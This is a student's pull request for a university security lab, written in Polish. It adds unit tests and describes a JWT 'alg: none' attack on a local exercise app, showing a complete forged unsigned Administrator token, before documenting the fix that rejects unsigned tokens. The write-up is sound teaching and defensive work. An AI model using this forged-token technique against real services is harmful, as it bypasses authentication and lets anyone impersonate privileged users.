Rafał Kuśmierz 305858 laboratorium 3 #39
Open
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Zadanie 1
Dodano testy jednostkowe dla klasy
Bookoraz ich uruchomienie w plikuDockerfile(commitzadanie 1 - testy).Zadanie 2 - atak
Token uzyskany dla użytkownika
Bob:{ "jwt_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3NjQxMDc0NDIsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.P1-ENYxmi_DA7o39lyNUqlJvGihg83HSpafBWKZWBB4" }Token przesyłany do endpointu
jwt/noneskłada się z trzech elementów: nagłówka, części danych (payload) oraz podpisu. Podpis standardowo tworzony jest przy użyciu sekretu, który jest na stałe wpisany w kod źródłowy aplikacji.Jeśli jednak w nagłówku zakodujemy informację, że nie ma być używana żadna metoda podpisu, czyli:
{"alg":"none"}to możemy połączyć go z ładunkiem dotyczącym innego użytkownika, w naszym przypadku
{ "account":"Administrator", "role":"User", "iat":1764107442, "aud":"https://127.0.0.1/jwt/none" }Po zakodowaniu nagłówka i ładunku w base64 i połączeniu ich kropką otrzymujemy token w postaci:
{ "jwt_token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0MTA3NDQyLCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9." }Po wysłaniu żądania na endpoint

jwt/nonez powyższym tokenem uzyskujemy oczekiwaną odpowiedź serwera:Zadanie 2 - usunięcie podatności
Usunięcie podatności zostało zrealizowane poprzez usunięcie możliwości wysłania niepodpisanego posta (commit
zadanie 2 - usunięcie podatności).Po usunięciu podatności przesłanie ponownie tego samego żądania kończy się informacją o nieprawidłowym algorytmie:
